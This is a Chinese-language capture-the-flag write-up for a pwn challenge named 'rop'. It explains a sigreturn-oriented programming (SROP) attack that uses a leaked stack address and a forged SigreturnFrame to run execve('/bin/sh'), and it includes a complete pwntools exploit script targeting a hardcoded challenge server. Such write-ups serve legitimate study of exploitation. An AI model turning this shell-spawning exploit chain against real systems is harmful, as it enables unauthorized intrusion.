rop
.png)
先看保护,这里什么都没开,但是看似栈可执行,实际上测试过程中栈是不可执行的,所以说不能直接ret2shellcode
.png)
汇编是:
; void __fastcall start(__int64)
public _start
_start proc near
var_8= qword ptr -8
mov rsi, offset msg1 ; p_msg1
mov edx, 17Bh ; n379
call print
push rsp
mov rsi, rsp ; p_msg1
mov edx, 8 ; n379
call print
mov rsi, offset msg2 ; p_msg1
mov edx, 235h ; n379
call print
xor rax, rax
xor rdi, rdi ; fd
mov rsi, rsp ; buf
mov edx, 539h ; count
syscall ; LINUX - sys_read
jmp [rsp+8+var_8]
_start endp
_text ends
这题的文件内容很少,就两个点,一个是会先泄露一个retaddr的栈地址,通过这个栈地址我们能获得msg1(read的buf)的地址,也就是retaddr-0x8
第二个点就是看汇编我们可以看到,这里向rsp位置读入,然后jmp [rsp],也就是最后会跳到我们read进去的第一个地址,所以这里能控制程序执行流,我们前面又泄露了buf的地址,sh字符串直接放栈上反正我们也知道栈的地址
这里gadget不太够,例如rax和rdx的gadgete就没有,而且其他的gadget很多不是ret结尾的,
但是这里有syscall
这里用SROP的方法,关于SROP的原理可以自己搜一下,也可以看我这篇only_read - Zenquietus里的关于srop的原理的部分,里面讲的比较简单。
frame = SigreturnFrame(kernel='amd64')
frame.rax = 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
frame.rsp = buf + 0x500
这里是伪造一个SigContext结构体,把它放到触发sigreturn时的rsp的位置就行了
我们下一步就是触发sigreturn了,也就是我们要控制rax为15然后调用syscall,这里没有控rax的gadget,我们利用read的读取字节数会存在rax里来控制rax为15
stage1 = p64(read_again)
stage1 += p64(syscall)
stage1 += bytes(frame)
stage1 = stage1.ljust(0x300, b"\x00")
stage1 += b"/bin/sh\x00"
这里read_again就是
xor rax, rax
xor rdi, rdi ; fd
mov rsi, rsp ; buf
mov edx, 539h ; count
syscall ; LINUX - sys_read
jmp [rsp+8+var_8]
会再次读取一次,这一次我们发送15字节,让rax为15,读入后栈上就变成了:
buf + 0x00 : ret
buf + 0x08 : syscall
buf + 0x10 : fake frame
然后又jmp[rsp],也就是从ret开始往下执行,
执行 syscall,此时:
rax = 15
rsp = buf + 0x10
rsp 指向 fake frame
于是触发 rt_sigreturn,会用我们伪造好的SigContext结构体,把寄存器成功设置成我们想要的值,就成功getshell了
EXP:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = '47.98.139.78:32937'
file_name = "./vuln"
elf = ELF(file_name)
context.binary = elf
gdb_ = 1 if ('gdb' in sys.argv) else 0
switch = 1 if ('remote' in sys.argv) else 0
debug = 0 if ('deoff' in sys.argv) else 1
error = 1 if ('error' in sys.argv) else 0
if debug:
context(log_level='debug')
if error:
context(log_level='error')
bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'),
# ('system', 'libc')
0x100a
]
gdb_cmd = ''
if gdb_ and switch == 0:
gdb_cmd += "set breakpoint pending on\n"
for b in bps:
if isinstance(b, int):
gdb_cmd += f"b *$rebase({hex(b)})\n"
elif isinstance(b, str):
gdb_cmd += f"b {b}\n"
gdb_cmd += "c\n"
if switch:
parts = target.replace(':', ' ').split()
host = parts[-2]
port = int(parts[-1])
use_ssl = '--ssl' in parts
p = remote(host, port, ssl=use_ssl, sni=host if use_ssl else None)
elif gdb_:
p = gdb.debug(file_name, gdbscript=gdb_cmd, aslr=True)
else:
p = process(file_name)
def s(data): return p.send(data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def sla(delim, data): return p.sendlineafter(delim, data)
def r(numb=4096): return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(bool): return p.recvline(keepends=bool)
def ra(t=None): return p.recvall(timeout=t)
def rn(numb): return p.recvn(numb)
def cl(): return p.close()
def it(): return p.interactive()
def uc64(data): return u64(data.rjust(8, b'\x00'))
def uu64(data): return u64(data.ljust(8, b'\x00'))
def addr(off): return lg(hex(off), (ret := elf.address + off)) or ret
def cb(data): return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data): return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def bl(address): return (address).to_bytes(3, 'big')
def bt(*values): return bytes([v & 0xff for v in values])
def ntpie(leak, offset, name='PIE'): return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def base(val, binary=elf): return binary.address + val
def fill(num, content=b'A'): return (content.encode() if isinstance(content, str) else content) * num
def se(s): return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next(elf.search(s if isinstance(s, bytes) else s.encode())))) or addr
def shn(target, current_printed): return [((target & 0xffff) - current_printed) % 0x10000, current_printed + (((target & 0xffff) - current_printed) % 0x10000)]
def shhn(target, current_printed): return [((target & 0xff) - current_printed) % 0x100, current_printed + (((target & 0xff) - current_printed) % 0x100)]
_rop_cache = {}
def gg(s):
target = elf
if target not in _rop_cache:
_rop_cache[target] = ROP(target)
rop = _rop_cache[target]
instrs = [x.strip() for x in s.split(';')]
if (gadget := rop.find_gadget(instrs)):
lg(s, gadget.address)
return gadget.address
else:
raise ValueError(f"[-] Critical: Gadget not found: {s}")
def ga(delim=b'|', name='Leak', data=None):
target_data = p.recv(data) if isinstance(data, int) else (data if data else ru(delim))
if isinstance(target_data, str):
target_data = target_data.encode()
hex_list = re.findall(b'0x[0-9a-fA-F]+', target_data)
return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16)for a in hex_list])]
#################################################################################
rn(0x17b)
leak = uu64(rn(8))
lg("leak", leak)
ret = 0x401013
syscall = 0x40100a
read_again = 0x401069
ru(b">>")
buf = leak - 8
binsh_addr = buf + 0x2f0
frame = SigreturnFrame(kernel='amd64')
frame.rax = 59
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
frame.rsp = buf + 0x500
stage1 = p64(read_again)
stage1 += p64(0)
stage1 += bytes(frame)
stage1 = stage1.ljust(0x300, b"\x00")
stage1 += b"/bin/sh\x00"
s(stage1)
stage2 = p64(ret) + p64(syscall)[:7]
s(stage2)
it()
题目链接:CTF-Writeups/方班杯2026/rop at main · Zenquiem/CTF-Writeups